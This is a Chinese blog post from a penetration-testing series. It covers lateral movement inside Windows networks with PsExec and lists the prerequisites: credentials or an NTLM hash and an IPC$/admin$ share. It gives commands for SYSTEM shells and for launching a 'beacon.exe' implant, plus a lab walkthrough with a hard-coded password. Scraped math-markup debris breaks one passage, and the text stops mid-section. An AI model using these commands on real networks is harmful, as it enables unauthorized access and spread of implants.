内网渗透-【横向移动】PsExec工具远程命令执行横向移动

炫彩@之星

于 2024-04-15 00:46:02 发布

阅读量990

点赞数 29

分类专栏：内网渗透实战文章标签：安全性测试 web安全安全

本文链接：https://blog.csdn.net/lza20001103/article/details/137749370

版权

内网渗透实战专栏收录该内容

34 篇文章 3 订阅

订阅专栏

【横向移动】PsExec工具远程命令执行横向移动

在这里插入图片描述

PsExec介绍

psexec 是 windows 下非常好的一款远程命令行工具。 psexec的使用不需要对方主机开方3389端口，只需要对方开启admin

     共享和 
    
   
     i 
    
   
     p 
    
   
     c 
    
   
  
    共享和ipc 
   
  
</span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8778em; vertical-align: -0.1944em;"></span><span class="mord cjk_fallback">共享和</span><span class="mord mathnormal">i</span><span class="mord mathnormal">p</span><span class="mord mathnormal">c</span></span></span></span></span> (该共享默认开启，依赖于<a href="https://so.csdn.net/so/search?q=445%E7%AB%AF%E5%8F%A3&amp;spm=1001.2101.3001.7020" target="_blank" class="hl hl-1" data-report-view="{&quot;spm&quot;:&quot;1001.2101.3001.7020&quot;,&quot;dest&quot;:&quot;https://so.csdn.net/so/search?q=445%E7%AB%AF%E5%8F%A3&amp;spm=1001.2101.3001.7020&quot;,&quot;extra&quot;:&quot;{\&quot;searchword\&quot;:\&quot;445端口\&quot;}&quot;}" data-report-click="{&quot;spm&quot;:&quot;1001.2101.3001.7020&quot;,&quot;dest&quot;:&quot;https://so.csdn.net/so/search?q=445%E7%AB%AF%E5%8F%A3&amp;spm=1001.2101.3001.7020&quot;,&quot;extra&quot;:&quot;{\&quot;searchword\&quot;:\&quot;445端口\&quot;}&quot;}" data-tit="445端口" data-pretit="445端口">445端口</a>)。</p>

但是，假如目标主机开启了防火墙(防火墙禁止445端口连接)， psexec也是不能使用的，会提示找不到网络路径。

由于psexec是Windows提供的工具，所以杀毒软件将其列在白名单中

下载地址：
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools 在这里插入图片描述

PsExec使用条件

1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的)，且目标机器开启了共享(默认开启的)，并且目标共享中必须有admin$共享

PsExec常用参数

psexec \ip -u administrator -p admin cmd 进⼊半交互式shell
PsExec -accepteula \192.168.108.101 -s cmd.exe 建立交互的shell
psexec \ip - uadministrator -p admin -w c:\cmd 进⼊交互式shell，且c:\是⽬标机器的⼯作⽬录
psexec \ip -u administrator -p admin whoami all 执行命令
psexec \ip -u administrator -p admin -d c:\beacon.exe 执行文件
psexec \ip -u administrator -p admin -h -d c:\beacon.exe UAC的⽤⼾权限执行文件

实验复现

4.1、IPC$下的psexec

上传psexec

在这里插入图片描述

建立IPC$连接

net use \192.168.41.150\ipc$ “Admin@123” /user:administrator
在这里插入图片描述

返回交互的shell或者执行命令

psexec.exe -accepteula \192.168.41.150 -s cmd.exe 返回交互shell (必须是msf或者远程到桌面CS不行)
psexec.exe -accepteula \192.168.41.150 -s ipconfig 远程执行命令
在这里插入图片描述

远程复制